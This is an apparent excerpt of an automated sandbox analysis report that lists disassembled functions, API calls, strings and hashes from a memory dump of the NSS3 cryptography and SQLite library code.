free.MOZGLUE(00000000), ref: 6C637594
free.MOZGLUE(00000000), ref: 6C6375A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6375BD
free.MOZGLUE(00000000), ref: 6C6375C8
free.MOZGLUE(00000000), ref: 6C6375F1
PR_NewLock.NSS3 ref: 6C637636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C637686
PR_NewLock.NSS3 ref: 6C6376A2

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6376B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C637707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C63771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C637731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C63774A
DeleteCriticalSection.KERNEL32(?), ref: 6C637770
free.MOZGLUE(?), ref: 6C637779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6377AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6377C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6377DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C637821
PORT_Alloc_Util.NSS3(?), ref: 6C637837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C63785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C63786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6378AC
free.MOZGLUE(00000000), ref: 6C6378BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6378F3
free.MOZGLUE(00000000), ref: 6C6378FC
free.MOZGLUE(00000000), ref: 6C63791C

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Strings

NSS Internal Module, xrefs: 6C6374A2, 6C6374C6
Spac, xrefs: 6C637389
,defaultModDB,internalKeySlot, xrefs: 6C63748D, 6C6374AA
kbi., xrefs: 6C637886
sql:, xrefs: 6C6376FE
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6374C7
dbm:, xrefs: 6C637716
rdb:, xrefs: 6C637744
dll, xrefs: 6C63788E
extern:, xrefs: 6C63772B

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 61a9e73e295d2fa28bda68bbe228d9bc83f849969015012f08dc2c632907c223
Instruction ID: 21ec3afcd950a6e91ba28d9d334f9e1843a247c15e295ee562027f9e7a83d304
Opcode Fuzzy Hash: 61a9e73e295d2fa28bda68bbe228d9bc83f849969015012f08dc2c632907c223
Instruction Fuzzy Hash: A65227B1E01225DBEF118F64CE087AA7BB4BF06349F146038ED0DA7A41E731D954CBA9

Function 6C65BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C65C0C8

Part of subcall function 6C6E9440: LeaveCriticalSection.KERNEL32 ref: 6C6E95CD
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E9622
Part of subcall function 6C6E9440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C6E964E

PR_EnterMonitor.NSS3 ref: 6C65C0AE

Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E91AA
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9212
Part of subcall function 6C6E9090: _PR_MD_WAIT_CV.NSS3 ref: 6C6E926B

Part of subcall function 6C610600: GetLastError.KERNEL32(?,?,?,?,?,6C6105E2), ref: 6C610642
Part of subcall function 6C610600: TlsGetValue.KERNEL32(?,?,?,?,?,6C6105E2), ref: 6C61065D
Part of subcall function 6C610600: GetLastError.KERNEL32 ref: 6C610678
Part of subcall function 6C610600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C61068A
Part of subcall function 6C610600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C610693
Part of subcall function 6C610600: PR_SetErrorText.NSS3(00000000,?), ref: 6C61069D
Part of subcall function 6C610600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,897476D0,?,?,?,?,?,6C6105E2), ref: 6C6106CA
Part of subcall function 6C610600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C6105E2), ref: 6C6106E6

PR_EnterMonitor.NSS3 ref: 6C65C0F2
PR_ExitMonitor.NSS3 ref: 6C65C10E
PR_ExitMonitor.NSS3 ref: 6C65C081

Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E945B
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E9479
Part of subcall function 6C6E9440: EnterCriticalSection.KERNEL32 ref: 6C6E9495
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E94E4
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E9532
Part of subcall function 6C6E9440: LeaveCriticalSection.KERNEL32 ref: 6C6E955D

PR_EnterMonitor.NSS3 ref: 6C65C068

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

Part of subcall function 6C610600: GetProcAddress.KERNEL32(?,?), ref: 6C610623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C65C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C65C183
free.MOZGLUE(00000000), ref: 6C65C18E
PR_LoadLibrary.NSS3(?), ref: 6C65C1A3
PR_EnterMonitor.NSS3 ref: 6C65C1D4
PR_ExitMonitor.NSS3 ref: 6C65C1F3
PR_CallOnce.NSS3(6C782318,6C65CA70), ref: 6C65C210
PR_EnterMonitor.NSS3 ref: 6C65C22B
PR_ExitMonitor.NSS3 ref: 6C65C247
PR_EnterMonitor.NSS3 ref: 6C65C26A
PR_ExitMonitor.NSS3 ref: 6C65C287
PR_UnloadLibrary.NSS3(?), ref: 6C65C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C65C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C65C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C65C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C65C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C65C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C65C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C65C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C65C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C65C8D5
free.MOZGLUE(00000000), ref: 6C65C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C65C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65C9E5
free.MOZGLUE(00000000), ref: 6C65CA5A

Strings

NSS_ReturnModuleSpecData, xrefs: 6C65C275
Vendor NSS FIPS Interface, xrefs: 6C65C34A
FC_GetInterface, xrefs: 6C65C054
NSC_ModuleDBFunc, xrefs: 6C65C0FC
NSC_GetFunctionList, xrefs: 6C65C093
NSC_GetInterface, xrefs: 6C65C04F
NSS_DISABLE_UNLOAD, xrefs: 6C65C7B0
NSS_FORCE_TOKEN_LOCK, xrefs: 6C65C77D
nss_mod_log, xrefs: 6C65C3CC
PKCS 11, xrefs: 6C65C2F9, 6C65C314
FC_GetFunctionList, xrefs: 6C65C098
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C65C38D

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 66dca5b715c29d35883fc81404a055ddb479e4e1eb869f56710bd430b3e2f260
Instruction ID: b7d909a5adcf874906af8c990bf8d583d237921679fa7a327657017a4c8488c3
Opcode Fuzzy Hash: 66dca5b715c29d35883fc81404a055ddb479e4e1eb869f56710bd430b3e2f260
Instruction Fuzzy Hash: AA429DB1A052049FDF00DF64C84AB9A3BB0FB4B349FB54039DA068BB25E731D565CB99

Function 6C733FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C733FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C733FFE
malloc.MOZGLUE(-00000003), ref: 6C734016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C76FC62), ref: 6C73404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C73407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7340A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7340D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C734112
malloc.MOZGLUE(00000000), ref: 6C73411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C73414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C734160
free.MOZGLUE(?), ref: 6C73416C
malloc.MOZGLUE(?), ref: 6C7341AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C7341EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C734520), ref: 6C734244
GetEnvironmentStrings.KERNEL32 ref: 6C73424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C734263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C734283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7342B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7342E4
malloc.MOZGLUE(00000002), ref: 6C7342FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C734342
GetStdHandle.KERNEL32(000000F6), ref: 6C7343AB
GetStdHandle.KERNEL32(000000F5), ref: 6C7343B2
GetStdHandle.KERNEL32(000000F4), ref: 6C7343B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C734403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C734410

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C73445E
CloseHandle.KERNEL32(?), ref: 6C73446B
free.MOZGLUE(?), ref: 6C734482
free.MOZGLUE(00000000), ref: 6C734492
free.MOZGLUE(00000000), ref: 6C7344A4
GetLastError.KERNEL32 ref: 6C7344B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C7344BE
free.MOZGLUE(?), ref: 6C7344C7
free.MOZGLUE(00000000), ref: 6C7344D5
free.MOZGLUE(00000000), ref: 6C7344EA

Strings

=, xrefs: 6C7344F8
NSPR_INHERIT_FDS=, xrefs: 6C7341E9
D, xrefs: 6C734396

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 1f8791532a2fbf2be6d995d452f74fdac6231be8da05ad4dfa77d5013b0ae60d
Instruction ID: 579c2f5583b281027ff6ee63af832ee69931d90075f31660887533df47b6b273
Opcode Fuzzy Hash: 1f8791532a2fbf2be6d995d452f74fdac6231be8da05ad4dfa77d5013b0ae60d
Instruction Fuzzy Hash: 9F02F571E043259BEB158F69CA847AEBFB4AF0A308F245178DC5DA7743D7329804DBA1

Function 6C646D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C74A8EC,0000006C), ref: 6C646DC6
memcpy.VCRUNTIME140(?,6C74A958,0000006C), ref: 6C646DDB
memcpy.VCRUNTIME140(?,6C74A9C4,00000078), ref: 6C646DF1
memcpy.VCRUNTIME140(?,6C74AA3C,0000006C), ref: 6C646E06
memcpy.VCRUNTIME140(?,6C74AAA8,00000060), ref: 6C646E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C646E38

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C646E76
TlsGetValue.KERNEL32 ref: 6C64726F
EnterCriticalSection.KERNEL32(?), ref: 6C647283

Strings

!, xrefs: 6C647123

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 00fef803a2c30224d3997705e6f8f22ba31f535180af94aeb6e9c719eddf1ae5
Instruction ID: c24c9c60ea3e8779bbab2bef36d9d76f1fff47341798fffe0603e08a7d76e67d
Opcode Fuzzy Hash: 00fef803a2c30224d3997705e6f8f22ba31f535180af94aeb6e9c719eddf1ae5
Instruction Fuzzy Hash: 53728FB5D052189FDF60DF28CC88B9ABBB5AF49304F1481E9D80CA7711E731AA85CF95

Function 6C5B3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C5B3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C5B410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5B449C

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5B4452, 6C5B4486, 6C5B44EA, 6C5B4571, 6C5B4580, 6C5B458F, 6C5B475A, 6C5B47FA
%s at line %d of [%.10s], xrefs: 6C5B4495, 6C5B44F9, 6C5B459E, 6C5B4769, 6C5B4809
database corruption, xrefs: 6C5B4490, 6C5B44F4, 6C5B4599, 6C5B4764, 6C5B4804

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 3e8fccfca6abdacb5358789b7231c145faa9f073c3aaabac1d8857cc54c6f4ec
Instruction ID: f7c940f5e7bbd67cc119d5e568918492d9f399ee9cbd8efa3fb36e5367d14951
Opcode Fuzzy Hash: 3e8fccfca6abdacb5358789b7231c145faa9f073c3aaabac1d8857cc54c6f4ec
Instruction Fuzzy Hash: 7582D370A00205CFCB14CF69C9A0B9EBBB2BF49318F258569D905BBB51E731EC46CB91

Function 6C68AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C68ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C68ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C68ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C68AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C68ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C68ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C68ADF0

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C68B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C68B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C68B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C68B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C68B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C68B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C68B40C

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 5fc9bddfc1866a75b8d885e40c8e689bc182fe84d0eb1b3b1935b5e2d3a54da4
Instruction ID: b92c5477451af3d64f5dd5c297153d2aa4136dfb3e47aa8a3edfdd60cf4922d4
Opcode Fuzzy Hash: 5fc9bddfc1866a75b8d885e40c8e689bc182fe84d0eb1b3b1935b5e2d3a54da4
Instruction Fuzzy Hash: 1B22BE70905300AFE710CF14CC45F9A77E1AF8530CF248968E9595B7A2E772E859CBAE

Function 6C5D1F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5D25F3

Strings

%s.%s, xrefs: 6C5D2D68
table %s has %d values for %d columns, xrefs: 6C5D316C
H, xrefs: 6C5D329F
recursive reference in a subquery: %s, xrefs: 6C5D22E5
no such index: "%s", xrefs: 6C5D319D
no such table: %s, xrefs: 6C5D26AC
%s.%s.%s, xrefs: 6C5D302D
'%s' is not a function, xrefs: 6C5D2FD2
too many columns in result set, xrefs: 6C5D3012
access to view "%s" prohibited, xrefs: 6C5D2F4A
multiple recursive references: %s, xrefs: 6C5D22E0
H, xrefs: 6C5D322D
no tables specified, xrefs: 6C5D26BE
cannot join using column %s - column not present in both tables, xrefs: 6C5D32AB
too many references to "%s": max 65535, xrefs: 6C5D2FB6
unsafe use of virtual table "%s", xrefs: 6C5D30D1
a NATURAL join may not have an ON or USING clause, xrefs: 6C5D32C1
cannot have both ON and USING clauses in the same join, xrefs: 6C5D32B5

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: c8ec71d9a544f7a082973d462b6617471152e18d300d44941b6e6562136fe1be
Instruction ID: 8a0c7edfde49e86b849b208da1714c01430b67f905ea652e78676c39960c63ab
Opcode Fuzzy Hash: c8ec71d9a544f7a082973d462b6617471152e18d300d44941b6e6562136fe1be
Instruction Fuzzy Hash: 0FD25974E04309CFDB04CF99CC88A9DB7B1BF89308F2A85A9D855ABB51D731AC46CB54

Function 6C60ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C60ED38

Part of subcall function 6C5A4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C60EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C60EFE4

Part of subcall function 6C6CDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5A5001,?,00000003,00000000), ref: 6C6CDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C60F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C60F129
sqlite3_mprintf.NSS3(optimize), ref: 6C60F1D1
sqlite3_free.NSS3(?), ref: 6C60F368

Strings

fts4aux, xrefs: 6C60ECF9
snippet, xrefs: 6C60EF05, 6C60EF37, 6C60EF7C
simple, xrefs: 6C60ED79
porter, xrefs: 6C60ED97
matchinfo, xrefs: 6C60F04F, 6C60F082, 6C60F0C2, 6C60F0F2, 6C60F124, 6C60F169
fts3_tokenizer, xrefs: 6C60EE1A, 6C60EEA8
fts3tokenize, xrefs: 6C60F30F
optimize, xrefs: 6C60F199, 6C60F1CC, 6C60F211
offsets, xrefs: 6C60EFAF, 6C60EFDF, 6C60F01F
fts4, xrefs: 6C60F2AD
unicode61, xrefs: 6C60EDB5
fts3, xrefs: 6C60F247

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
